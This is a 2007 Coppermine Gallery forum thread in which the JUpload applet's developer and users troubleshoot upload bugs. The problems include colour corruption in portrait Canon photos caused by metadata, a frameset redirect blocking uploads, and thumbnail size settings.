Here is a direct link to an original image I have left on my server

http://www.windsurf.me.uk/Stuff/IMG_7871.JPG

Title: Re: Upload applet (JUpload)
Post by: russell235 on October 19, 2007, 08:34:23 pm
thanks a lot for the quick update.  for some reason i have to select another category first and then the personal gallery or it doesn't load the albums.  but I can live with that, so I'm not complaining.  :)

I'm not sure why phill104 can't upload large images.  I can upload 7 megabyte images with no trouble. 
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 20, 2007, 10:32:05 am
thanks a lot for the quick update.  for some reason i have to select another category first and then the personal gallery or it doesn't load the albums.  but I can live with that, so I'm not complaining.  :)

Hum, hum,

  It seems I forgot one test. Will be Ok in the next release.

I'm not sure why phill104 can't upload large images.  I can upload 7 megabyte images with no trouble. 

Yes, there is probably no link with picture size. But it can be a problem of :
- Java version (pictures are resized by the applet),
- Picture encoding, I need the picture that has a problem to try with it,

phil104,

  You can also prevent the applet to resize picture, by putting big enough maxPicWidth, maxPicHeight, and realMaxPicWidth, realMaxPicHeight.


Etienne
Title: Re: Upload applet (JUpload)
Post by: Phill Luckhurst on October 20, 2007, 12:01:21 pm
Just incase you missed it here is the details and link to an image.

I've tested uploading images from both my home pc and my laptop. Both are using WinXP  and I installed Java on both last night so it's the latest release Version 6 update 3.

Here is a direct link to an original image I have left on my server

http://www.windsurf.me.uk/Stuff/IMG_7871.JPG

I think this applet is a brilliant idea. I like to keep all the images on my gallery 1024 so need them to be resized. Many users upload to the gallery so I couldn't force them to use specific versions or to resize their images first. It must be the Java that is corrupting the images (taken on a Canon EOS 30D which I know saves files slightly differently to Nikon and Pentax etc) as GD does not corrupt the same image. I just hope it's something that can be fixed.

If I prevented the appet resizing them I would end up with some very large images on my server, something I'm keen to avoid.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 20, 2007, 02:13:18 pm
Just incase you missed it here is the details and link to an image.

I've tested uploading images from both my home pc and my laptop. Both are using WinXP  and I installed Java on both last night so it's the latest release Version 6 update 3.

Here is a direct link to an original image I have left on my server

http://www.windsurf.me.uk/Stuff/IMG_7871.JPG

Ok, I missed it ...   :P

I use the same Java version, and I repeated the problem on my computer. I'll work on it.

FYI: I have an EOS 20D, and have no problem. Did you change the color space on your canon?  From the EXIF info, apparently not, but I'm looking for info...  Any other specific configuration ?


I think this applet is a brilliant idea. I like to keep all the images on my gallery 1024 so need them to be resized. Many users upload to the gallery so I couldn't force them to use specific versions or to resize their images first. It must be the Java that is corrupting the images (taken on a Canon EOS 30D which I know saves files slightly differently to Nikon and Pentax etc) as GD does not corrupt the same image. I just hope it's something that can be fixed.

If I prevented the appet resizing them I would end up with some very large images on my server, something I'm keen to avoid.

The question is not to resize or not: the question is who resizes: the applet or GD, once the applet uploaded the files. If you put big value for picture size, in the applet parameters, then the applet won't resize the picture. Thus, the standard upload code occurs, on coppermine, and GD (or GD2 or ImageMagick) resizes your pictures.
Take care that, if you rotate your pictures, the applet will create new pictures ... and probably generate the color trouble.

Etienne
Title: Re: Upload applet (JUpload)
Post by: Phill Luckhurst on October 20, 2007, 08:17:04 pm
I've not changed colour space. What I have discovered is that it happens with any shot taken in portrait mode but landscape shots work ok. Wierd.
Title: Re: Upload applet (JUpload)
Post by: dke on October 21, 2007, 01:19:36 pm
Loving the plugin! Much thanks.

I have a question however. Is it possible to hide the categories that users does not have access to? It seems strange that they can see them but still not do anything with them, would clearly be nicer and less confusing if they only saw the categories they had access to.

Thanks again!
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 22, 2007, 04:06:22 pm
I've not changed colour space. What I have discovered is that it happens with any shot taken in portrait mode but landscape shots work ok. Wierd.

Hi,

  Thanks for these info. I look for the reason: the picture is correctly resized, but the written file is wrong. The problem may be with the metadata. You info goes in this direction...
  I'll try to remove the IPC/EXIF info from the uploaded file.

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 22, 2007, 05:01:09 pm
Loving the plugin! Much thanks.

I have a question however. Is it possible to hide the categories that users does not have access to? It seems strange that they can see them but still not do anything with them, would clearly be nicer and less confusing if they only saw the categories they had access to.

Thanks again!

Hum, hum,

  Not that easy. I'll have a look it.

A question:
- If the user may not upload to a category
- But he may upload to sub category,

  Should I present the category. My opinion is: yes

What's yours ?

Etienne
Title: Re: Upload applet (JUpload)
Post by: dke on October 23, 2007, 02:45:55 pm
Hum, hum,

  Not that easy. I'll have a look it.

A question:
- If the user may not upload to a category
- But he may upload to sub category,

  Should I present the category. My opinion is: yes

What's yours ?

Etienne

Yes, i do believe so.

If you get the time it would be a nice feature. I've currently slightly modified the jupload to suit my needs, i only have 1 category users upload to so i made jupload automaticly pick this category by default, and then i removed the button from the page.

This works in my case pretty good, but if someone with admin rights who has access to add to all categories tries to add to a different category it will not work.

Thanks again for this wonderful plugin!



Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 23, 2007, 05:29:04 pm
I've not changed colour space. What I have discovered is that it happens with any shot taken in portrait mode but landscape shots work ok. Wierd.

Hi,

  I confirm that the problem is within metadata. If I don't transmit them, there is no more color problem.

Can you send me a picture 'that works' ?  (landscape mode ?)

FYI, I'll do these steps:
- add a parameter, so that you can prevent the metadata to be transmitted. Not that easy. First part terminated (when I resize pictures). Second part: analysis is a task in progress...
- Log an error to sun, si that they correct their code.

Etienne
Title: Re: Upload applet (JUpload)
Post by: Phill Luckhurst on October 23, 2007, 09:46:42 pm
Thanks for all the help. It must be a challenge to keep up when a third party keeps changing their code.

Here is an image that works.

http://www.windsurf.me.uk/Stuff/IMG_7881.JPG
Title: Re: Upload applet (JUpload)
Post by: saitanay on October 24, 2007, 12:22:23 am
i get this error on clicking the "i" button

Code: [Select]
faultCode0faultStringFatal error:require_once() [function.require]: Failed opening required 'plugins/jupload/include/jupload.inc.php' (include_path='.:/usr/share/php:/tmp:/tmp/') in /home/vol1/byethost13.com/b13_1129797/dynamite.byethost13.com/htdocs/cgal/plugins/jupload/codebase.php on line 51
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 24, 2007, 09:56:12 am
i get this error on clicking the "i" button

Code: [Select]
faultCode0faultStringFatal error:require_once() [function.require]: Failed opening required 'plugins/jupload/include/jupload.inc.php' (include_path='.:/usr/share/php:/tmp:/tmp/') in /home/vol1/byethost13.com/b13_1129797/dynamite.byethost13.com/htdocs/cgal/plugins/jupload/codebase.php on line 51

  It seems that the plugin is not correctly installed.

The file below is lacking. Can you check this, by FTP for instance ?
plugins/jupload/include/jupload.inc.php

Etienne
Title: Re: Upload applet (JUpload)
Post by: saitanay on October 24, 2007, 07:54:22 pm
faultCode0faultStringFatal error:require_once() [function.require]: Failed opening required 'plugins/jupload/include/jupload.inc.php' (include_path='.:/usr/share/php:/tmp:/tmp/') in /home/vol1/byethost13.com/b13_1129797/dynamite.byethost13.com/htdocs/cgal/plugins/jupload/codebase.php on line 51


i get that error on clicking the "i" button to install the plugin.. i screwed my coppermine installation twice trying to install this plugin..
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 24, 2007, 10:11:20 pm
faultCode0faultStringFatal error:require_once() [function.require]: Failed opening required 'plugins/jupload/include/jupload.inc.php' (include_path='.:/usr/share/php:/tmp:/tmp/') in /home/vol1/byethost13.com/b13_1129797/dynamite.byethost13.com/htdocs/cgal/plugins/jupload/codebase.php on line 51


i get that error on clicking the "i" button to install the plugin.. i screwed my coppermine installation twice trying to install this plugin..

If you wan help, please answer my question in my previous answer, which is the first check to do :

  It seems that the plugin is not correctly installed.

The file below is lacking. Can you check this, by FTP for instance ?
plugins/jupload/include/jupload.inc.php
Title: JUpload Release 2.6.3
Post by: etienne_sf on October 26, 2007, 08:20:33 pm
Hi,

  I just released the 2.6.3 version of Jupload.

You can get it here : http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=8855 (http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=8855)


Or on my wiki: http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)


Changes:
- [Minor] The non-admin user now view only category containing albums where he may upload files (whether the album
is in this category or one of its sub-categories).

Fixes:
- [Minor] Corrected direct access of the admin to the upload page, when he has a personal album: the category is
now correct.
- [Minor] Add of the pictureTransmitMetadata parameter. A way to avoid problems, when transmitting pictures shooted
from a Canon EOS 30D, in portrait mode (!!!).
Title: Re: Upload applet (JUpload)
Post by: Phill Luckhurst on October 26, 2007, 09:42:11 pm
Brilliant job on the categories thing, works a treat ;D

I'm still getting purple and green images though. I'l have a fiddle later.
Title: Re: Upload applet (JUpload)
Post by: erostew on October 27, 2007, 02:15:24 am
I can confirm that the strange colours also happen with images shot with the Canon 10D and 20D in portrait mode. Turning off the meta data works just fine and after that portrait images are normal.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 27, 2007, 10:35:33 am
Brilliant job on the categories thing, works a treat ;D

I'm still getting purple and green images though. I'l have a fiddle later.

Did you try to use the new pictureTransmitMetadata config parameter ?

  It should do the trick ..


As the problem seems more general, I'll change the applet behviour, when in Coppermine: if the gallery doesn't use EXIF or IPTC data, I won't transmit them anymore. Will solve most of the problems.


Etienne
Title: Re: Upload applet (JUpload)
Post by: Phill Luckhurst on October 27, 2007, 11:10:25 am
Insert big clapping emoticone here.

I have tried uploading with various canons and yes, with that set to true the purple stuff goes on but setting to false cures it.

I've tried with files from Pentax and Nikon and it doesn't seem to cause a problem either way. Must be to do with Canon's metadata.

It would be nice if SUN could get their applet working properly to take this into account.

Well done.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 27, 2007, 01:25:03 pm
Insert big clapping emoticone here.

I have tried uploading with various canons and yes, with that set to true the purple stuff goes on but setting to false cures it.

I've tried with files from Pentax and Nikon and it doesn't seem to cause a problem either way. Must be to do with Canon's metadata.

It would be nice if SUN could get their applet working properly to take this into account.

Well done.

Nice that the trick works. For SUN to correct the stuff: I'll need to make a little sample of the problem. As all reflex Canon seems to have the problem, I guess they will correct it.
I have an EOS 20D, but almost never shot in portrait mode. I prefer RAW files, and thus I use the 'advanced' modes.

Etienne
Title: Re: Upload applet (JUpload)
Post by: dke on October 27, 2007, 01:54:40 pm
Awesome work etienne_sf thanks alot for the changes!
Title: Re: Upload applet (JUpload)
Post by: erostew on October 28, 2007, 01:50:13 am
There's a couple of things I can point out after testing things fully.

First is that if you change the metadata upload to false it seems impossible to change it back without breaking something. I tried to reset it to true to test a couple of things, and after that every attempt at upload generated an exception. That continued until I changed it back to false. I even uninstalled the plugin, deleted the jupload folder from the server and deleted anything related to jupload from the database. After reinstallation, without touching any settings the exceptions still occurred. After changing the parameter to false in the config, it started working again.

Second is that this mod is not really compatible with Stramm's ModPack. Both Mods use non-standard picmgmnt.inc.php files. So files get resized, rotated and uploaded okay, but if you are using "exact" thumbnails they are distorted because j_picmgmnt.inc.php doesn't support cropping. It also doesn't support watermarking or mini thumbs. So after upload you have to go into admin tools and regenerate your thumbs and images to get watermarking and cropping.

It's still worth using just for ease of use with uploading, rotating and resizing, but my wishlist would include compatibility between the 2 mods. I used WinMerge to compare the files, but unfortunately there are way too many differences to make it easy for me to figure out what to change. My first couple of tries just broke the jupload mod so I gave up on it.

Regards
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 28, 2007, 10:26:06 am
First is that if you change the metadata upload to false it seems impossible to change it back without breaking something. I tried to reset it to true to test a couple of things, and after that every attempt at upload generated an exception. That continued until I changed it back to false. I even uninstalled the plugin, deleted the jupload folder from the server and deleted anything related to jupload from the database. After reinstallation, without touching any settings the exceptions still occurred. After changing the parameter to false in the config, it started working again.

Hum, hum,

 That's strange. I would say: this can not happen !
Would you say, there is a bug somewhere ...  :o

  I'll check that.

Second is that this mod is not really compatible with Stramm's ModPack. Both Mods use non-standard picmgmnt.inc.php files. So files get resized, rotated and uploaded okay, but if you are using "exact" thumbnails they are distorted because j_picmgmnt.inc.php doesn't support cropping. It also doesn't support watermarking or mini thumbs. So after upload you have to go into admin tools and regenerate your thumbs and images to get watermarking and cropping.

  I actually didn't check JUpload with other plugins. I've downloaded modapack. I'll play with it. Assuring compatibility between plugins, that updates the same part of the code is probably rather complex: it would probably need an internal restructuring of Coppermine, with new hook points.
  I'll discuss with stramm to check that.

Etienne
Title: Re: Upload applet (JUpload)
Post by: erostew on October 28, 2007, 05:26:31 pm
Hum, hum,

 That's strange. I would say: this can not happen !
Would you say, there is a bug somewhere ...  :o

  I'll check that.
I tried setting to "0", "true" and even "1" but the only thing to make it work again was setting it to "false"

 
Quote
I actually didn't check JUpload with other plugins. I've downloaded modapack. I'll play with it. Assuring compatibility between plugins, that updates the same part of the code is probably rather complex: it would probably need an internal restructuring of Coppermine, with new hook points.
  I'll discuss with stramm to check that.

Probably not as serious as it sounds. That part of code should not usually be active at the same time in both mods. The only real conflict is with making thumbnails after upload. Stramm's mod adds the setting "exact" which uses cropping. If the thumb setting is not "exact" there is no problem.

There is no conflict with watermarking because that uses a setting that jupload makes no use of. So it just doesn't get done. The same should be true for mini thumbs, but not certain because I don't use that portion of Stramm's Mod.

I will continue using jupload in any case but have to admit that full compatibility between mods would be great.  ;)

Thanks for your hard work to date!

Regards
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 28, 2007, 05:42:35 pm
I tried setting to "0", "true" and even "1" but the only thing to make it work again was setting it to "false"

For me it works like a charm: the problem is not exactly what you've seen.

From my tests, upload is blocked when pictureTransmitMetadata is true (or anyvalue differente from false, which is forced to the default 'true' value). There is an error saying that the file is too big.
Works ok for file without accent.

Is it the case for you ?

If yes: it will be corrected soon, as my next task on my TODO list is to correct the annoying management in JUpload of accents in filenames (or other 'strange' characters, like Japanese, Chinese...)
If no: can you tell me what error you get?
 
Probably not as serious as it sounds. That part of code should not usually be active at the same time in both mods. The only real conflict is with making thumbnails after upload. Stramm's mod adds the setting "exact" which uses cropping. If the thumb setting is not "exact" there is no problem.

The problem is serious: I can't use the standard editpics in any way, as the page is profoundly changed:
- The cirteria for picture display is not the same: it's the list of last uploaded pictures, and not the album list.
- Action on pictures is removed fom the page. Could be done through the Coppermine hook functions.

IMHO: it's up to modpack to become a standard plugin, by using existing hook functions. Then, it would add its link to the JUpload editpics without knowing that it's not the standard editpic page !
  I'll check that and see with Stramm.


There is no conflict with watermarking because that uses a setting that jupload makes no use of. So it just doesn't get done. The same should be true for mini thumbs, but not certain because I don't use that portion of Stramm's Mod.

I was writting my answer when you submitted this message !

Some questions here:
- What is watermarking ? mini thumbs ?   Are these other plugins ?
- What do you mean by j_picmgmnt.inc.php doesn't support cropping. It also doesn't support watermarking or mini thumbs ?

FYI: I was not able to make modpack work on my installation: admin got 'not allowed' errors, and standard users won't see the 'crop' link...    I just discover that my test installation, on which I tested modpack, is a 1.4.8 and not 1.4.13. I'll upgrade it and test again.

Etienne
Title: Re: Upload applet (JUpload)
Post by: erostew on October 28, 2007, 07:06:07 pm
For me it works like a charm: the problem is not exactly what you've seen.

From my tests, upload is blocked when pictureTransmitMetadata is true (or anyvalue differente from false, which is forced to the default 'true' value). There is an error saying that the file is too big.
Works ok for file without accent.

Is it the case for you ?

If yes: it will be corrected soon, as my next task on my TODO list is to correct the annoying management in JUpload of accents in filenames (or other 'strange' characters, like Japanese, Chinese...)
If no: can you tell me what error you get?
Okay it's even stranger. The settings today are being changed correctly. I changed to true and tested and then changed to false and tested. No errors in either case. Maybe this was caused by some strange Windows Vista thing. It might not have been allowing the applet to get changed settings from the server for some reason, and caused an error that way.

I have not tried uploading a file with any non-english characters in the name.

But I did find something interesting when I had meta upload set to true. It appears that the portrait rotation bug is NOT caused by JUpload. I uploaded 3 photos shot in portrait orientation. 1 was not yet rotated. 2 was rotated in ACDSee. And 3 was rotated by JUpload before uploading. ONLY the file rotated by ACDSee showed the green/purple corruption. The unrotated photo and the one rotated by JUpload appeared as normal. Didn't have a chance yet to try a photo rotated in another application.
 
Quote
The problem is serious: I can't use the standard editpics in any way, as the page is profoundly changed:
- The cirteria for picture display is not the same: it's the list of last uploaded pictures, and not the album list.
- Action on pictures is removed fom the page. Could be done through the Coppermine hook functions.

IMHO: it's up to modpack to become a standard plugin, by using existing hook functions. Then, it would add its link to the JUpload editpics without knowing that it's not the standard editpic page !
  I'll check that and see with Stramm.

It isn't possible for Stramm's Mod to use the standard because he has added functions that are not in core CPG. I.E. Watermarking, cropping, exact sized thumbs, mini thumbs, etc. Stramm can surely tell you more. This is a different cropping function from the one found in editpic.php The cropping is done on upload or if you use admin tools. Same for watermark, etc.

Quote
Some questions here:
- What is watermarking ? mini thumbs ?   Are these other plugins ?
- What do you mean by j_picmgmnt.inc.php doesn't support cropping. It also doesn't support watermarking or mini thumbs ?

FYI: I was not able to make modpack work on my installation: admin got 'not allowed' errors, and standard users won't see the 'crop' link...    I just discover that my test installation, on which I tested modpack, is a 1.4.8 and not 1.4.13. I'll upgrade it and test again.
Watermark (overlay image with a logo), mini thumbs (second size of thumbnail in addition to standard) are both added to the main picmgmnt.inc.php by Stramm because they are new features not available in the core CPG.
j_picmgmnt.inc.php doesn not support those features because they were not in the picmgmnt.inc.php that you modified for your own plugin, I am sure.

I found it slightly confusing to find the correct version of Stramm's ModPack because he has multiple versions for several different CPG versions.

Hope this helps! Maybe it IS a bigger job than I thought at first.  ;D
Title: Re: Upload applet (JUpload)
Post by: erostew on October 28, 2007, 07:55:32 pm
For me it works like a charm: the problem is not exactly what you've seen.

From my tests, upload is blocked when pictureTransmitMetadata is true (or anyvalue differente from false, which is forced to the default 'true' value). There is an error saying that the file is too big.
Works ok for file without accent.

Is it the case for you ?

If yes: it will be corrected soon, as my next task on my TODO list is to correct the annoying management in JUpload of accents in filenames (or other 'strange' characters, like Japanese, Chinese...)
If no: can you tell me what error you get?

Okay the strange config error is back. I tried to set the meta upload again to true to try a pic rotated in Photoshop. After that I got the same error you describe of "filesize too big". This seems different from the first error I encountered, but I am not 100% certain. The filename was normal with no accents or other non-english characters.

I have attached the Jupload log for you. The info regarding local path usernames and the webserver domain have been replaced by ****.
Title: Re: Upload applet (JUpload)
Post by: mpolfindo on November 01, 2007, 09:06:19 pm
I am getting this error with both the latest cpg and JUpload plugin:

'basic: Exception: java.lang.UnsupportedClassVersionError: Bad version number in .class file'

Of course, the applet doesn't load at all.

I'm running OS X Leopard and tried both Safari and Firefox.  JRE version 1.5.0_13

If I'm not mistaken, this is caused by compiling with a later version of JDK than the JRE.  As I'm on a mac, I have to wait for Apple to release an update.

I tried the demo on your site and it worked on my system.  Is that a lower version of JUpload?
Title: Re: Upload applet (JUpload)
Post by: eka on November 02, 2007, 04:55:46 pm
Hi etienne_sf,

The images in my editpics page are way too big.

How do I reduce the size of these Juploaded pics to the size of thumbnails?


Pse help.

Title: Re: Upload applet (JUpload)
Post by: vastre on November 03, 2007, 01:14:50 pm
Hi Etienne,

I have a problem with the Jupload, I can upload pictures using the normal upload tab but the Jupload reports an error and wont complete the upload of the files.
I have set the debug to 100 and this is part of the output.

Can you tell me what the problem might be?



Code: [Select]
11:52:22.234 [DEBUG] HTTP status: 200 OK
11:52:22.234 [DEBUG] No error message found in HTTP response body
11:52:22.234 [ERROR] Upload stopped with errors [wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "SUCCESS" was not found in the response body]
11:52:28.750 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "SUCCESS" was not found in the response body
11:52:28.750 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:588)
11:52:28.750 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:731)
11:52:28.750 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:486)
11:52:28.750 [DEBUG] -------- Response Body Start --------
11:52:28.750 [DEBUG] <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
11:52:28.750 [DEBUG] <html lang="en">
11:52:28.750 [DEBUG] <head><title>Vastre Homepage</title>
11:52:28.750 [DEBUG] </head>
11:52:28.750 [DEBUG] <frameset rows="100%,*">
11:52:28.750 [DEBUG] <frame title="Http://vastre.homelinux.com/coppermine/index.php?file=jupload/jupload&action=add_picture&album=2" src="Http://vastre.homelinux.com/coppermine/index.php?file=jupload/jupload&action=add_picture&album=2" name="mainframe" frameborder="0" noresize="noresize" scrolling="auto">
11:52:28.750 [DEBUG] <frame title="empty frame" frameborder="0" scrolling="no" noresize="noresize">
11:52:28.750 [DEBUG] <noframes>Sorry, you don"t appear to have frame support.
11:52:28.750 [DEBUG] Go here instead - <a href="Http://vastre.homelinux.com/coppermine/index.php?file=jupload/jupload&action=add_picture&album=2">Vastre Homepage</a></noframes>
11:52:28.750 [DEBUG] </frameset>
11:52:28.750 [DEBUG] --------- Response Body End ---------
11:52:28.750 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "SUCCESS" was not found in the response body
11:52:28.781 [DEBUG] PicturePanel.paint(): offscreenImage is null
11:52:29.484 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "SUCCESS" was not found in the response body
11:52:29.484 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:588)
11:52:29.484 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:731)
11:52:29.484 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:486)
11:52:29.484 [DEBUG] FileUploadThread: within run().finally
11:52:29.531 [DEBUG] PicturePanel.paint(): offscreenImage is null
11:52:30.890 [DEBUG] PicturePanel.paint(): offscreenImage is null
11:52:30.921 [DEBUG] JUploadPanel: after !fileUploadThread.isAlive()
11:52:30.921 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)
11:52:33.765 [DEBUG] PicturePanel.paint(): offscreenImage is null
Title: Re: Upload applet (JUpload)
Post by: erostew on November 03, 2007, 05:36:03 pm

Can you tell me what the problem might be?

Code: [Select]
11:52:28.750 [DEBUG] -------- Response Body Start --------
11:52:28.750 [DEBUG] <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
11:52:28.750 [DEBUG] <html lang="en">
11:52:28.750 [DEBUG] <head><title>Vastre Homepage</title>
11:52:28.750 [DEBUG] </head>
11:52:28.750 [DEBUG] <frameset rows="100%,*">
11:52:28.750 [DEBUG] <frame title="Http://vastre.homelinux.com/coppermine/index.php?file=jupload/jupload&action=add_picture&album=2" src="Http://vastre.homelinux.com/coppermine/index.php?file=jupload/jupload&action=add_picture&album=2" name="mainframe" frameborder="0" noresize="noresize" scrolling="auto">
11:52:28.750 [DEBUG] <frame title="empty frame" frameborder="0" scrolling="no" noresize="noresize">
11:52:28.750 [DEBUG] <noframes>Sorry, you don"t appear to have frame support.
11:52:28.750 [DEBUG] Go here instead - <a href="♦?file=jupload/jupload&action=add_picture&album=2">Vastre Homepage</a></noframes>
11:52:28.750 [DEBUG] </frameset>
11:52:28.750 [DEBUG] --------- Response Body End ---------
11:52:28.750 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "SUCCESS" was not found in the response body

Looking at that it's obvious that you are running CPG in a frame. So of course it will not give a proper success message to the JUpload applet. Remove the gallery from your frame and it will likely work fine. Also you have "Http" in your url. Most times this won't cause a problem but it should still be "http" for maximum compatibility.


Looking at the url "Http://vastre.homelinux.com/coppermine/index.php" in my browser I just get a timeout. You probably don't have the server up.
Checking http://homelinux.com I see:
Code: [Select]
Dynamic Network Services, Inc. (DynDNS) Redirection Page

homelinux.com is a domain owned by Dynamic Network Services, Inc. (DynDNS), but there is no content at this domain. Our homepage can be accessed at www.dyndns.com. You should be automatically redirected there in approximately 10 seconds.

If you need to report abuse of a subdomain of homelinux.com, this is probably owned by a customer of ours, and should be reported to our abuse department. Please send e-mail to abuse@dyndns.com with the full details of the abuse you are reporting, and we will investigate it as soon as possible.
Obviously you are using the redirection service of dyndns.com and they use a frameset to redirect to the IP of your server. The JUpload java applet doesn't support frames so it will never get to your server. Use a direct 222.33.444.555 url if possible and it will probably work.

Normal upload uses your browser and browsers DO understand framesets. Go in the config to the 4th item in General settings: "URL of your coppermine gallery folder (no 'index.php' or similar at the end". Change "Http://vastre.homelinux.com/coppermine" to "http://222.33.44.55/coppermine/" (USE YOUR REAL IP - NOT 222.33.44.55). JUpload should work.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 04, 2007, 06:49:53 pm
I am getting this error with both the latest cpg and JUpload plugin:

'basic: Exception: java.lang.UnsupportedClassVersionError: Bad version number in .class file'

Of course, the applet doesn't load at all.

I'm running OS X Leopard and tried both Safari and Firefox.  JRE version 1.5.0_13

If I'm not mistaken, this is caused by compiling with a later version of JDK than the JRE.  As I'm on a mac, I have to wait for Apple to release an update.

I tried the demo on your site and it worked on my system.  Is that a lower version of JUpload?

Correct: the current demo version is not the last one. it uses the 2.6.0 version (you can read that at the end of the upload page). You can get this version, as any old versions, on my wiki:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)

  I've reinstalled my PC, due to hard drive crash   :(

I actually didn't reconfigure correctly my eclipse: it was compiling for the last JRE (1.6) and not 1.5. I'll check that for the last version.

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 04, 2007, 06:54:50 pm
Hi etienne_sf,

The images in my editpics page are way too big.

How do I reduce the size of these Juploaded pics to the size of thumbnails?

Seems to be a bg on some Coppermine configuration. But I didn't find which one.

Are you in approval mode ?  (I mean do upload pictures need approval ?)

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 04, 2007, 07:17:51 pm
Obviously you are using the redirection service of dyndns.com and they use a frameset to redirect to the IP of your server. The JUpload java applet doesn't support frames so it will never get to your server. Use a direct 222.33.444.555 url if possible and it will probably work.

Normal upload uses your browser and browsers DO understand framesets. Go in the config to the 4th item in General settings: "URL of your coppermine gallery folder (no 'index.php' or similar at the end". Change "Http://vastre.homelinux.com/coppermine" to "http://222.33.44.55/coppermine/" (USE YOUR REAL IP - NOT 222.33.44.55). JUpload should work.

  I agree with erostew (nice to see answer from other people here !  :) )

The only trouble now is... you currently can not change the postURL given to the applet from JUpload configuration page. I added this to my TODO list.

Workaround:
- The solution proposed by erostew needs that you change your Coppermine configuration. It's probably the best one: I think the URL won't be shown.
- Another solution is to edit the plugins/jupload/page/upload_page.php, find the definition of the $URL variable, at the beginning of the script,  and change the value given to the postURL parameter, to the one given by erostew (just replace the $CONFIG['site_url'] part).

Etienne
Title: Re: Upload applet (JUpload)
Post by: vastre on November 04, 2007, 07:52:40 pm
Changed the URL and it work fine now.

Many thanks Etienne_sf and erostew. ;D
Title: Re: Upload applet (JUpload)
Post by: erostew on November 04, 2007, 07:58:29 pm
Changed the URL and it work fine now.

Many thanks Etienne_sf and erostew. ;D
A pleasure to help!
Title: Re: Upload applet (JUpload)
Post by: eka on November 05, 2007, 03:30:02 am
Hi etienne_sf,

Registered users need no approval to upload pictures.

See example in editpics page: 

website:  photograffs.com
username:  test1
password:  test2

it would be nice to have the images smaller.

thanks.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 05, 2007, 06:44:56 pm
Hi etienne_sf,

Registered users need no approval to upload pictures.

See example in editpics page: 

website:  photograffs.com
username:  test1
password:  test2

it would be nice to have the images smaller.

thanks.

Are you talking about the standard editpic page, or about the page that is opened by JUpload just after a successful upload ?

If you talk about the JUpload page, question: can I really upload pictures to your site ?

Etienne
Title: Re: Upload applet (JUpload)
Post by: eka on November 06, 2007, 05:09:23 am
Hi etienne_sf,

I misunderstood you - users can only upload to their own albums and not others'.

Can the JUploaded pictures be reduced in size on the editpics page?
My editpics page images are 600 px in width - way too big.
Can these images be the size of my thumbnails?

This may require some re-coding - but I don't know how.

Title: Re: Upload applet (JUpload)
Post by: erostew on November 06, 2007, 07:56:14 am
Can the JUploaded pictures be reduced in size on the editpics page?
My editpics page images are 600 px in width - way too big.
Can these images be the size of my thumbnails?

Nothing in JUpload controls the size of the pics on the editpics page as far as I can tell. The editpics page used by JUpload uses the same coppermins settings as the normal editpics.php. So having a large size there has zero to do with JUpload. There aren't even any settings in the JUpload config to control the size of thumbnails. there isn't any reason for them.

Check your settings in the coppermine config. There are TWO places with settings for thumbnails. The first is in "Album list view" and the second is in "Files and thumbnails settings". The one in Album list view is a kind of "virtual" setting. No matter what the actual size of the physical thumbnail is, that setting is used when the thumbnail is displayed in most places. The Files and thumbnails setting is the one that is actually used when the thumbs are generated. The editpics page shows the ACTUAL thumbnail, not the virtual one.

So you probably have 600 set for the thumbs setting in the Files and settings area of the config page. Maybe you put the setting for intermediate pics in the thumbnails box. Check it out and I'm 90% sure that you will find I'm correct.

Regards

Title: Re: Upload applet (JUpload)
Post by: eka on November 06, 2007, 08:35:44 am
Thanks erostew.

But I'm still confused.  ???

In my album list view, the Size of thumbnails in pixels is set at 50 px.

In my files and thumbnail settings, my maximum dimension of thumbnail is set at 220 px and the Max width or height of an intermediate picture/video  is 600 px.

Since my editpics page displays the picture at 600px width, it seems therefore the picture displayed is actually the intermediate picture and not the thumbnail.

Am I correct ? or is this way coppermine is configured? 

